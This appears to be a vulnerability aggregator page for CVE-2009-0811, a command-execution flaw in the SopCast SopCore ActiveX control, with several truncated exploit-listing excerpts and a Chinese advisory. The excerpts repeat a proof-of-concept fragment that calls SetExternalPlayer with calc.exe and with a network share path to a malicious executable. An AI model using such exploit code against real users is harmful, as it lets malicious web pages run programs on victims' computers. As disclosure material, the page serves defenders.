CVE-2009-0811

Insecure method vulnerability in the SopCast SopCore ActiveX control in sopocx.ocx 3.0.3.501 allows remote attackers to execute arbitrary programs via an executable file name in the argument to the SetExternalPlayer method...

Sopcast SopCore Control - 'sopocx.ocx' Command Execution

window.onload=function SopPlayer.InitPlayer; //SopPlayer.SetExternalPlayer"\\192.168.0.1\c$\PATH\TO\MALICIOUSPROGRAM.EXE"; SopPlayer.SetExternalPlayer"c:\WINDOWS\system32\calc.exe"; SopPlayer.SetSopAddress"sop://broker.sopcast.com:3912/6002"; //A LIVE CHANNEL...

Sopcast SopCore Control (sopocx.ocx) Command Execution Exploit

Exploit for unknown platform in category remote exploits ============================================================== Sopcast SopCore Control sopocx.ocx Command Execution Exploit ============================================================== window.onload=function SopPlayer.InitPlayer;...

Sopcast SopCore Control (sopocx.ocx) Command Execution Exploit

No description provided by source. !-- Sopcast SopCore Control sopocx.ocx 3.0.3.501 SetExternalPlayer user assisted remote code execution poc by Nine:Situations:Group::surfista IE7/8 our site: http://retrogod.altervista.org/ software site: http://www.sopcast.org/ Through the SetExternalPlayer...

Sopcast SopCore Control - sopocx.ocx Command Execution

Sopcast SopCore Control - sopocx.ocx Command Execution window.onload=function SopPlayer.InitPlayer; //SopPlayer.SetExternalPlayer"\\192.168.0.1\c$\PATH\TO\MALICIOUSPROGRAM.EXE"; SopPlayer.SetExternalPlayer"c:\WINDOWS\system32\calc.exe";...

Sopcast SopCore Control Command Execution

window.onload=function SopPlayer.InitPlayer; //SopPlayer.SetExternalPlayer"\\192.168.0.1\c$\PATH\TO\MALICIOUSPROGRAM.EXE"; SopPlayer.SetExternalPlayer"c:\WINDOWS\system32\calc.exe"; SopPlayer.SetSopAddress"sop://broker.sopcast.com:3912/6002"; //A LIVE CHANNEL...

SopCore控件SetExternalPlayer()方式任意代码执行漏洞

BUGTRAQ ID: 33920 SopCore是一个视频播放插件，安装后可以观看TvBaby的网络电视。 SopCore控件的SetExternalPlayer函数没有正确地验证ExternalPlayer属性参数，如果用户受骗访问了恶意网页，就可能将任意可执行文件关联到“外部播放器”按键上。之后当用户点击该按键时，就会未经提示便执行该文件。 Sopcast SopCore Control 3.0.3.501 厂商补丁： Sopcast ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...